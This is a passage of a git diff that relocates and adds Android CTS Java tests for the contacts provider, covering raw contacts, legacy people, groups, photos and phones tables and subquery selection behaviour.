rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
new file mode 100644
index 0000000..dc49a2e
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -0,0 +1,319 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+
+public class ContactsContract_RawContactsTest extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    private static final String[] RAW_CONTACTS_PROJECTION = new String[]{
+            RawContacts._ID,
+            RawContacts.CONTACT_ID,
+            RawContacts.DELETED,
+            RawContacts.DISPLAY_NAME_PRIMARY,
+            RawContacts.DISPLAY_NAME_ALTERNATIVE,
+            RawContacts.DISPLAY_NAME_SOURCE,
+            RawContacts.PHONETIC_NAME,
+            RawContacts.PHONETIC_NAME_STYLE,
+            RawContacts.SORT_KEY_PRIMARY,
+            RawContacts.SORT_KEY_ALTERNATIVE,
+            RawContacts.TIMES_CONTACTED,
+            RawContacts.LAST_TIME_CONTACTED,
+            RawContacts.CUSTOM_RINGTONE,
+            RawContacts.SEND_TO_VOICEMAIL,
+            RawContacts.STARRED,
+            RawContacts.PINNED,
+            RawContacts.AGGREGATION_MODE,
+            RawContacts.RAW_CONTACT_IS_USER_PROFILE,
+            RawContacts.ACCOUNT_NAME,
+            RawContacts.ACCOUNT_TYPE,
+            RawContacts.DATA_SET,
+            RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
+            RawContacts.DIRTY,
+            RawContacts.SOURCE_ID,
+            RawContacts.BACKUP_ID,
+            RawContacts.VERSION,
+            RawContacts.SYNC1,
+            RawContacts.SYNC2,
+            RawContacts.SYNC3,
+            RawContacts.SYNC4
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testGetLookupUriBySourceId() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.SOURCE_ID, "source_id")
+                .insert();
+
+        // TODO remove this. The method under test is currently broken: it will not
+        // work without at least one data row in the raw contact.
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
+        assertNotNull("Could not produce a lookup URI", lookupUri);
+
+        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+        assertEquals("Lookup URI matched the wrong contact",
+                lookupContact.getId(), rawContact.load().getContactId());
+    }
+
+    public void testGetLookupUriByDisplayName() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
+        assertNotNull("Could not produce a lookup URI", lookupUri);
+
+        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+        assertEquals("Lookup URI matched the wrong contact",
+                lookupContact.getId(), rawContact.load().getContactId());
+    }
+
+    public void testRawContactDelete_setsDeleteFlag() {
+        long rawContactid = RawContactUtil.insertRawContact(mResolver,
+                StaticAccountAuthenticator.ACCOUNT_1);
+
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        RawContactUtil.delete(mResolver, rawContactid, false);
+
+        String[] projection = new String[]{
+                ContactsContract.RawContacts.CONTACT_ID,
+                ContactsContract.RawContacts.DELETED
+        };
+        String[] result = RawContactUtil.queryByRawContactId(mResolver, rawContactid,
+                projection);
+
+        // Contact id should be null
+        assertNull(result[0]);
+        // Record should be marked deleted.
+        assertEquals("1", result[1]);
+    }
+
+    public void testRawContactDelete_localDeleteRemovesRecord() {
+        long rawContactid = RawContactUtil.insertRawContact(mResolver, null);
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        // Local raw contacts should be deleted immediately even if isSyncAdapter=false
+        RawContactUtil.delete(mResolver, rawContactid, false);
+
+        assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        // Nothing to clean up
+    }
+
+    public void testRawContactDelete_removesRecord() {
+        long rawContactid = RawContactUtil.insertRawContact(mResolver,
+                StaticAccountAuthenticator.ACCOUNT_1);
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        RawContactUtil.delete(mResolver, rawContactid, true);
+
+        assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        // already clean
+    }
+
+    // This implicitly tests the Contact create case.
+    public void testRawContactCreate_updatesContactUpdatedTimestamp() {
+        long startTime = System.currentTimeMillis();
+
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+        long lastUpdated = getContactLastUpdatedTimestampByRawContactId(mResolver,
+                ids.mRawContactId);
+
+        assertTrue(lastUpdated > startTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        ContentValues values = new ContentValues();
+        values.put(ContactsContract.RawContacts.STARRED, 1);
+        RawContactUtil.update(mResolver, ids.mRawContactId, values);
+
+        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+        assertTrue(newTime > baseTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testRawContactPsuedoDelete_hasDeleteLogForContact() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        RawContactUtil.delete(mResolver, ids.mRawContactId, false);
+
+        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
+
+        // clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testRawContactDelete_hasDeleteLogForContact() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+
+        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
+
+        // already clean
+    }
+
+    private long getContactLastUpdatedTimestampByRawContactId(ContentResolver resolver,
+            long rawContactId) {
+        long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
+        MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND, contactId);
+
+        return ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
+    }
+
+    public void testProjection() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        DatabaseAsserts.checkProjection(mResolver, RawContacts.CONTENT_URI,
+                RAW_CONTACTS_PROJECTION,
+                new long[]{rawContact.getId()}
+        );
+    }
+
+    public void testInsertUsageStat() throws Exception {
+        // Note we no longer support contact affinity as of Q, so times_contacted and
+        // last_time_contacted are always 0, and "frequent" is always empty.
+
+        final long now = System.currentTimeMillis();
+        {
+            TestRawContact rawContact = mBuilder.newRawContact()
+                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                    .with(RawContacts.ACCOUNT_NAME, "test_name")
+                    .with(RawContacts.TIMES_CONTACTED, 12345)
+                    .with(RawContacts.LAST_TIME_CONTACTED, now)
+                    .insert();
+
+            rawContact.load();
+            assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+        }
+
+        {
+            TestRawContact rawContact = mBuilder.newRawContact()
+                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                    .with(RawContacts.ACCOUNT_NAME, "test_name")
+                    .with(RawContacts.TIMES_CONTACTED, 5)
+                    .insert();
+
+            rawContact.load();
+            assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+        }
+        {
+            TestRawContact rawContact = mBuilder.newRawContact()
+                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                    .with(RawContacts.ACCOUNT_NAME, "test_name")
+                    .with(RawContacts.LAST_TIME_CONTACTED, now)
+                    .insert();
+
+            rawContact.load();
+            assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+        }
+    }
+
+    public void testUpdateUsageStat() throws Exception {
+        ContentValues values = new ContentValues();
+
+        final long now = System.currentTimeMillis();
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.TIMES_CONTACTED, 12345)
+                .with(RawContacts.LAST_TIME_CONTACTED, now)
+                .insert();
+
+        rawContact.load();
+        assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+        assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+
+        values.clear();
+        values.put(RawContacts.TIMES_CONTACTED, 99999);
+        RawContactUtil.update(mResolver, rawContact.getId(), values);
+
+        rawContact.load();
+        assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+        assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+
+        values.clear();
+        values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
+        RawContactUtil.update(mResolver, rawContact.getId(), values);
+
+        rawContact.load();
+        assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+        assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_Subquery.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_Subquery.java
new file mode 100644
index 0000000..f0a7525
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_Subquery.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_Subquery extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testProviderStatus_addedContacts() throws Exception {
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+
+        // Get the total row count.
+        final int allCount;
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null, null, null, null)) {
+            allCount = cursor.getCount();
+        }
+
+        // Make sure CP2 gives the same result with an always-true subquery.
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+                "exists(select 1)", null, null)) {
+            assertEquals(allCount, cursor.getCount());
+        }
+
+        // Make sure CP2 returns no rows with an always-false subquery.
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+                "not exists(select 1)", null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsTest.java
new file mode 100644
index 0000000..c9e246d
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsTest.java
@@ -0,0 +1,911 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.drawable.BitmapDrawable;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.provider.Contacts;
+import android.provider.Contacts.ContactMethods;
+import android.provider.Contacts.Extensions;
+import android.provider.Contacts.GroupMembership;
+import android.provider.Contacts.Groups;
+import android.provider.Contacts.GroupsColumns;
+import android.provider.Contacts.Organizations;
+import android.provider.Contacts.People;
+import android.provider.Contacts.PeopleColumns;
+import android.provider.Contacts.Phones;
+import android.provider.Contacts.Photos;
+import android.provider.Contacts.Settings;
+import android.provider.ContactsContract;
+import android.telephony.PhoneNumberUtils;
+import android.test.InstrumentationTestCase;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Date;
+
+public class ContactsTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+    private ContentProviderClient mCallLogProvider;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mCallLogProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's people table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testPeopleTable() {
+        final String[] PEOPLE_PROJECTION = new String[] {
+                People._ID,
+                People.NAME, People.NOTES, People.TIMES_CONTACTED,
+                People.LAST_TIME_CONTACTED, People.STARRED,
+                People.CUSTOM_RINGTONE, People.SEND_TO_VOICEMAIL,};
+        final int ID_INDEX = 0;
+        final int NAME_INDEX = 1;
+        final int NOTES_INDEX = 2;
+        final int TIMES_CONTACTED_INDEX = 3;
+        final int LAST_TIME_CONTACTED_INDEX = 4;
+        final int STARRED_INDEX = 5;
+        final int CUSTOM_RINGTONE_INDEX = 6;
+        final int SEND_TO_VOICEMAIL_INDEX = 7;
+
+        String insertPeopleName = "name_insert";
+        String insertPeopleNotes = "notes_insert";
+        String updatePeopleName = "name_update";
+        String updatePeopleNotes = "notes_update";
+
+        try {
+            mProvider.delete(People.CONTENT_URI, PeopleColumns.NAME + " = ?",
+                    new String[] {insertPeopleName});
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, insertPeopleName);
+            value.put(PeopleColumns.NOTES, insertPeopleNotes);
+            value.put(PeopleColumns.LAST_TIME_CONTACTED, 0);
+            value.put(PeopleColumns.CUSTOM_RINGTONE, (String) null);
+            value.put(PeopleColumns.SEND_TO_VOICEMAIL, 1);
+
+            Uri uri = mProvider.insert(People.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(People.CONTENT_URI,
+                    PEOPLE_PROJECTION, PeopleColumns.NAME + " = ?",
+                    new String[] {insertPeopleName}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertPeopleName, cursor.getString(NAME_INDEX));
+            assertEquals(insertPeopleNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX));
+            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
+            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX));
+            assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
+            assertEquals(0, cursor.getInt(STARRED_INDEX));
+            // TODO: Figure out what can be tested for the SYNC_* columns
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            long now = new Date().getTime();
+            value.put(PeopleColumns.NAME, updatePeopleName);
+            value.put(PeopleColumns.NOTES, updatePeopleNotes);
+            value.put(PeopleColumns.LAST_TIME_CONTACTED, (int) now);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+                    "people._id" + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updatePeopleName, cursor.getString(NAME_INDEX));
+            assertEquals(updatePeopleNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX)); // Not supported by CP1
+            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
+            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX)); // Not supported by CP1
+            assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
+            assertEquals(0, cursor.getInt(STARRED_INDEX));
+            // TODO: Figure out what can be tested for the SYNC_* columns
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+                    "people._id" + " = " + id, null, null, null);
+            assertEquals(0, cursor.getCount());
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's groups table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testGroupsTable() {
+        final String[] GROUPS_PROJECTION = new String[] {
+                Groups._ID, Groups.NAME, Groups.NOTES,
+                Groups.SYSTEM_ID};
+        final int ID_INDEX = 0;
+        final int NAME_INDEX = 1;
+        final int NOTES_INDEX = 2;
+        final int SYSTEM_ID_INDEX = 3;
+
+        String insertGroupsName = "name_insert";
+        String insertGroupsNotes = "notes_insert";
+        String updateGroupsNotes = "notes_update";
+        String updateGroupsSystemId = "system_id_update";
+
+        try {
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(GroupsColumns.NAME, insertGroupsName);
+            value.put(GroupsColumns.NOTES, insertGroupsNotes);
+            value.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
+
+            Uri uri = mProvider.insert(Groups.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(Groups.CONTENT_URI,
+                    GROUPS_PROJECTION, Groups._ID + " = ?",
+                    new String[] {uri.getPathSegments().get(1)}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertGroupsName, cursor.getString(NAME_INDEX));
+            assertEquals(insertGroupsNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(Groups.GROUP_MY_CONTACTS, cursor.getString(SYSTEM_ID_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(GroupsColumns.NOTES, updateGroupsNotes);
+            value.put(GroupsColumns.SYSTEM_ID, updateGroupsSystemId);
+
+            assertEquals(1, mProvider.update(uri, value, null, null));
+            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+                    Groups._ID + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateGroupsNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(updateGroupsSystemId, cursor.getString(SYSTEM_ID_INDEX));
+            cursor.close();
+
+            // Test: delete
+            assertEquals(1, mProvider.delete(uri, null, null));
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's photos table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testPhotosTable() {
+        final String[] PHOTOS_PROJECTION = new String[] {
+                Photos._ID, Photos.EXISTS_ON_SERVER, Photos.PERSON_ID,
+                Photos.LOCAL_VERSION, Photos.DATA,
+                Photos.SYNC_ERROR};
+        final int ID_INDEX = 0;
+        final int EXISTS_ON_SERVER_INDEX = 1;
+        final int PERSON_ID_INDEX = 2;
+        final int LOCAL_VERSION_INDEX = 3;
+        final int DATA_INDEX = 4;
+        final int SYNC_ERROR_INDEX = 5;
+
+        String updatePhotosLocalVersion = "local_version1";
+
+        try {
+            Context context = getInstrumentation().getTargetContext();
+            InputStream inputStream = context.getResources().openRawResource(
+                    android.provider.cts.contacts.R.drawable.testimage);
+            int size = inputStream.available();
+            byte[] data =  new byte[size];
+            inputStream.read(data);
+            BitmapDrawable sourceDrawable = (BitmapDrawable) context.getResources().getDrawable(
+                    android.provider.cts.contacts.R.drawable.testimage);
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(Photos.PERSON_ID, 1);
+            value.put(Photos.LOCAL_VERSION, "local_version0");
+            value.put(Photos.DATA, data);
+            try {
+                mProvider.insert(Photos.CONTENT_URI, value);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support direct insert operation to photos URI.
+            }
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        } catch (IOException e) {
+            fail("Unexpected IOException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's phones table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testPhonesTable() {
+        final String[] PHONES_PROJECTION = new String[] {
+                Phones._ID, Phones.PERSON_ID, Phones.TYPE, Phones.NUMBER,
+                Phones.NUMBER_KEY, Phones.LABEL, Phones.ISPRIMARY};
+        final int ID_INDEX = 0;
+        final int PERSON_ID_INDEX = 1;
+        final int TYPE_INDEX = 2;
+        final int NUMBER_INDEX = 3;
+        final int NUMBER_KEY_INDEX = 4;
+        final int LABEL_INDEX = 5;
+        final int ISPRIMARY_INDEX = 6;
+
+        String insertPhonesNumber = "0123456789";
+        String updatePhonesNumber = "987*654yu3211+";
+        String customeLabel = "custom_label";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_phones_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(Phones.PERSON_ID, peopleId);
+            value.put(Phones.TYPE, Phones.TYPE_HOME);
+            value.put(Phones.NUMBER, insertPhonesNumber);
+            value.put(Phones.ISPRIMARY, 1);
+
+            Uri uri = mProvider.insert(Phones.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(Phones.CONTENT_URI,
+                    PHONES_PROJECTION, Phones.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(Phones.TYPE_HOME, cursor.getInt(TYPE_INDEX));
+            assertEquals(insertPhonesNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(PhoneNumberUtils.getStrippedReversed(insertPhonesNumber),
+                    cursor.getString(NUMBER_KEY_INDEX));
+            assertNull(cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(Phones.TYPE, Phones.TYPE_CUSTOM);
+            value.put(Phones.NUMBER, updatePhonesNumber);
+            value.put(Phones.LABEL, customeLabel);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
+                    "phones._id = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+            assertEquals(updatePhonesNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(PhoneNumberUtils.getStrippedReversed(updatePhonesNumber),
+                    cursor.getString(NUMBER_KEY_INDEX));
+            assertEquals(customeLabel, cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
+                    Phones.PERSON_ID + " = " + peopleId, null, null, null);
+            assertEquals(0, cursor.getCount());
+
